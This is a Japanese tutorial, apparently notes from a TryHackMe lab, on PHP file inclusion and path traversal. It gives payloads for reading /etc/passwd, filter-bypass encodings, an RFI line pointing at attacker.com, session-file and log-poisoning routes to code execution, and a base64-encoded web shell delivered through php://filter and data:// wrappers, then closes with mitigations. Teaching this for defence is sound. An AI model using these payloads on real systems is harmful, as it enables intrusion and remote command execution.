はじめに
File Inclusion(ファイルインクルージョン)と Path Traversal(パストラバーサル)は、「外部からの入力で参照するファイルパスが変えられてしまう」 ことが原因で発生する脆弱性です。
図書館をイメージしてみましょう。本来は一般利用者が触れない「職員専用の書庫」があるのに、蔵書検索システムをちょっと細工するだけで、その書庫の本まで読めてしまう――それが Web アプリの世界で起きるのが、File Inclusion / Path Traversal です。
Web アプリでは、URL やパラメータ、フォーム入力を元にファイルを読み込んだり、テンプレートを include したりします。この処理が不適切に実装されていると、攻撃者は本来アプリの一部ではないファイルを読み込ませたり、最悪任意コード実行(RCE)まで到達できます。
1. Web アプリケーションの構造
Web アプリは、複数コンポーネントが連携して動くシステムですが、大きく分けると以下の 2 つです。
-
フロントエンド(Frontend)
- ユーザーが直接触れる UI 部分
- React / Angular / Vue.js などで構築されることが多い
- API を通じてバックエンドと通信する
-
バックエンド(Backend)
- ユーザーからのリクエストを受け取り処理するサーバ側
- DB と連携し、データを取得・更新し、フロントエンドに返す
- PHP / Python / JavaScript(Node.js)などで実装され、Django / Laravel / Express などのフレームワークが使われる
クライアント・サーバモデル
- クライアント(ブラウザなど)が HTTP/HTTPS でサーバへリクエストを送信
- サーバ(Web アプリ)がリクエストを処理し、レスポンスを返す
- その裏側で、サーバ側のコードがファイルや DB にアクセスしている
2. File Inclusion の基本と種類
トラバーサル文字列とパス指定
-
../(ディレクトリトラバーサル)- 一つ上のディレクトリに移動する
- 多用すると
/var/www/htmlから/etc/まで脱出できたりする
-
相対パス(Relative path)
include('./folder/file.php');- 実行中スクリプトと同じ階層にある
folder/file.phpを指す
- 実行中スクリプトと同じ階層にある
-
絶対パス(Absolute path)
/var/www/html/folder/file.php- ルート
/からの完全パス
- ルート
Remote File Inclusion(RFI)
RFI(リモートファイルインクルージョン) は、ユーザー入力を通じて外部サーバ上のファイルを include してしまう脆弱性です。
例:
// include.php?page=http://attacker.com/exploit.php
include($_GET['page']);
攻撃者は page を任意の URL に変えて、自分のサーバ上の PHP シェルなどを読み込ませます。
- 結果として、サーバ上で攻撃者のコードがそのまま実行される。
※ 近年は allow_url_include などが無効化されているケースも多いですが、古い環境ではまだ実在します。
Local File Inclusion(LFI)
LFI(ローカルファイルインクルージョン) は、サーバのローカルファイルを不正に読み込ませる脆弱性です。
例:
include.php?page=../../../../etc/passwd
目的:
- ローカルの機密ファイル(
/etc/passwd,config.phpなど)の閲覧 - ログやセッションファイルに仕込んだ PHP コードを include して RCE へ発展
代表的な LFI→RCE パターン:
-
ログポイズニング
- access.log / error.log に
<?php ... ?>を書き込ませる - そのログファイルを LFI で include して実行
- access.log / error.log に
-
セッションファイルの悪用
-
$_SESSIONに埋め込んだ PHP コードが/var/lib/php/sessions/sess_xxxに保存される - そのセッションファイルを LFI で include
-
RFI vs LFI の攻撃プロセス
3. PHP Wrappers(ファイル操作とコード実行)
3.1 PHP Wrappers 概要
PHP には「ストリームラッパー(wrapper)」という仕組みがあり、php:// や data:// のような特殊なプロトコルでデータにアクセスできます。
これが LFI と組み合わさると非常に強力で、ファイルの内容変換・エンコード・デコード・場合によっては任意コード実行まで可能になります。
PHP フィルタの種類例
-
String Filters
-
string.rot13,string.toupper,string.tolower,string.strip_tagsなど
-
-
Conversion Filters
-
convert.base64-encode,convert.base64-decode -
convert.quoted-printable-encode,convert.quoted-printable-decode
-
-
Compression Filters
-
zlib.deflate,zlib.inflate
-
-
Encryption Filters(
mcrypt,mdecrypt等 – 現在は非推奨)
3.2 php://filter – Base64 でファイルを読む例
php://filter は、読み書き時にデータへフィルタ(変換)をかけることができるラッパーです。
例えば /etc/passwd を base64 でエンコードして取得するペイロード:
php://filter/convert.base64-encode/resource=/etc/passwd
TryHackMe ラボ例:
- URL:
http://TARGET_IP/playground.php -
pageパラメータなどに上記ペイロードを渡す
3.3 Data Wrapper(data://)
data:// ラッパーは、インラインでデータを埋め込むためのラッパーです。小さな文字列・コードを URL の中に直接書き込むことができます。
例:PHP の phpinfo() を実行する payload
-
URL:
http://TARGET/playground.php -
ペイロード:
data:text/plain,<?php%20phpinfo();%20?>
分解すると:
-
data:… プロトコル -
text/plain… MIME タイプ -
,<?php phpinfo(); ?>… 実際のデータ部分(ここに PHP コード)
LFI と組み合わせることで、「ファイル」ではなく、URL 内のデータをコードとして include させることが可能になります。
4. Base Directory Breakouts(ベースディレクトリからの脱出)
多くのアプリは、「このディレクトリから外には出さない」制御を入れているつもりです。しかし、よくある実装は簡単にバイパスできます。
4.1サンプルコード
function containsStr($str, $subStr){
return strpos($str, $subStr) !== false;
}
if(isset($_GET['page'])){
if(!containsStr($_GET['page'], '../..') && containsStr($_GET['page'], '/var/www/html')){
include $_GET['page'];
}else{
echo 'You are not allowed to go outside /var/www/html/ directory!';
}
}
- 条件:
-
$_GET['page']に../..が含まれていないこと - かつ
/var/www/htmlを含んでいること
-
しかし、以下のようなペイロードで簡単にすり抜けられます。
/var/www/html/..//..//..//etc/passwd
..//..//は、ファイルシステム上では../../と同じ意味だが、文字列としては../..に一致しないためフィルタをすり抜ける。
TryHackMe ラボ例:
- URL:
http://TRAGET_IP/lfi.php - ペイロード:
/var/www/html/..//..//..//etc/passwd
4.2 Obfuscation(難読化)でフィルタを回避
アプリが ../ を単純に除去しているだけのケースは、以下のような方法で回避できます。
サンプルスクリプト
$file = $_GET['file'];
$file = str_replace('../', '', $file);
include('files/' . $file);
攻撃者の回避テクニック:
-
URL エンコード
-
../→%2e%2e%2f - 例:
?file=%2e%2e%2fconfig.php - アプリ側が
str_replace('../', ...)を行う前に URL デコードするかどうかで挙動が変わるが、実装によってはフィルタすり抜け
-
-
ダブルエンコード(二重デコードが行われる場合)
-
../→%252e%252e%252f - 1回目のデコード:
%2e%2e%2f - 2回目のデコード:
../
-
-
構文の崩し(Obfuscation)
-
....//config.phpという文字列を使う -
../だけを除去した結果として../config.php相当になるように細工する
-
5.LFI2RCE – Session Files(セッションファイル経由)
PHP のセッションはデフォルトではファイルとしてサーバ上に保存されます(例: /var/lib/php/sessions/sess_xxx)。
ここに PHP コードを紛れ込ませ、LFI でそのセッションファイルを読み込ませると、RCE が成立します。
5.1 脆弱なサンプルコード
URL: http://10.48.154.176/sessions.php
if(isset($_GET['page'])){
$_SESSION['page'] = $_GET['page'];
echo "You're currently in" . $_GET["page"];
include($_GET['page']);
}
攻撃ステップ:
-
pageパラメータに、PHP コード文字列を入れる?page=<?php echo phpinfo(); ?>この文字列が
$_SESSION['page']としてセッションファイルに保存される -
ブラウザの Cookie から
PHPSESSIDを確認する -
LFI でセッションファイルを include
sessions.php?page=/var/lib/php/sessions/sess_[sessionID]-
[sessionID]を自分のPHPSESSIDに置き換える
→ セッションファイル内の
<?php echo phpinfo(); ?>が実行される -
6. LFI2RCE – Log Poisoning(ログポイズニング)
ログポイズニングは、Web サーバのログファイルに PHP コードを注入し、そのログファイルを LFI で include して実行する手法です。
- ログは通常、開発者や運用担当が見るだけなので「安全そう」に見える
- しかし、リクエストライン・User-Agent・Referer などがそのままログに出ることが多く、そこに PHP コードを書き込める
例:Netcat でログにコードを注入
$ nc TARGET_IP 80
<?php echo phpinfo(); ?>
...
このリクエストの一部が Apache の access.log に書き込まれます。
LFI でログを読み込む
?page=/var/log/apache2/access.log
- ログファイル内の
<?php echo phpinfo(); ?>が PHP として解釈され、実行される
7 LFI2RCE – Wrappers を使ったコード実行
**php://filter + data:// を組み合わせて「Base64 で埋め込んだ PHP コードを実行」**するテクニックです。
攻撃の流れ
URL: http://TARGET_IP/playground.php
使用する PHP コード:
<?php system($_GET['cmd']); echo 'Shell done!'; ?>
このコードを Base64 エンコードした上で、以下のようなラッパー付き文字列を最終ペイロードとします。
php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+
| Position | Field | Value |
|---|---|---|
| 1 | Protocol Wrapper | php://filter |
| 2 | Filter | convert.base64-decode |
| 3 | Resource Type | resource= |
| 4 | Data Type | data://plain/text, |
| 5 | Encoded Payload | PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+ |
PD9w...Pz4+ は <?php system($_GET['cmd']); echo 'Shell done!'; ?> を Base64 したものです。
処理イメージ:
-
data://plain/text,Base64文字列から「Base64文字列」という文字データを読み込む -
php://filter/convert.base64-decode/resource=...により、その文字列を Base64 デコード - 結果として得られた PHP コードが include され、実行される
- ブラウザ側からは
?cmd=whoamiなどを付けてコマンドを任意実行できる
注意:
フォームからこの文字列を送信する際に&cmd=whoamiまで一緒に入力してしまうと、&以降も含めて Base64 にエンコードされてしまい、サーバ側で「不正なバイト列」としてエラーになります。
cmdパラメータは別途クエリとして送る必要があります。
8.緩和・防止策
-
入力値のバリデーション・サニタイズの徹底
-
../を雑に削除するだけでは不十分 - 「そもそも任意パスを指定させない」設計を心がける
-
-
ファイルアクセスのホワイトリスト化
-
id=1→about.phpのように ID をマッピング -
include($templates[$id])のように、事前定義されたファイルだけを include する
-
-
PHP / サーバ設定での制限
- 不要な
allow_url_fopen,allow_url_includeを無効化 -
open_basedirでアクセス可能なディレクトリを制限 - ログに PHP タグが出ないように設定・処理する
- 不要な
-
コードレビュー・自動スキャン
- 静的解析や SAST、DAST ツールでパス操作・ファイル操作をチェック
- 手動レビューで
include,require,file_get_contentsなどを重点的に確認
-
セキュリティ教育
- 開発者・運用者が File Inclusion / Path Traversal の危険性を理解する
- 「とりあえずユーザー入力をそのままファイルパスに渡す」実装を避ける文化を作る
まとめ
File Inclusion と Path Traversal は、どちらも「ユーザー入力でファイルパスを直接いじれてしまう」ことに起因する脆弱性です。
-
File Inclusion
- LFI(Local File Inclusion): ローカルファイルの読み取り・コード実行
- RFI(Remote File Inclusion): 外部リソースを読み込んで実行
-
Path Traversal
-
../などのトラバーサルで想定外のディレクトリにアクセス - ファイル閲覧、設定ファイルやログの漏洩に繋がる
-
これらは単なる「情報漏洩」にとどまらず、ログポイズニング・セッションファイル・ラッパー(php://, data://)などと組み合わせることで、フル RCE まで一気にエスカレートすることがよくあります。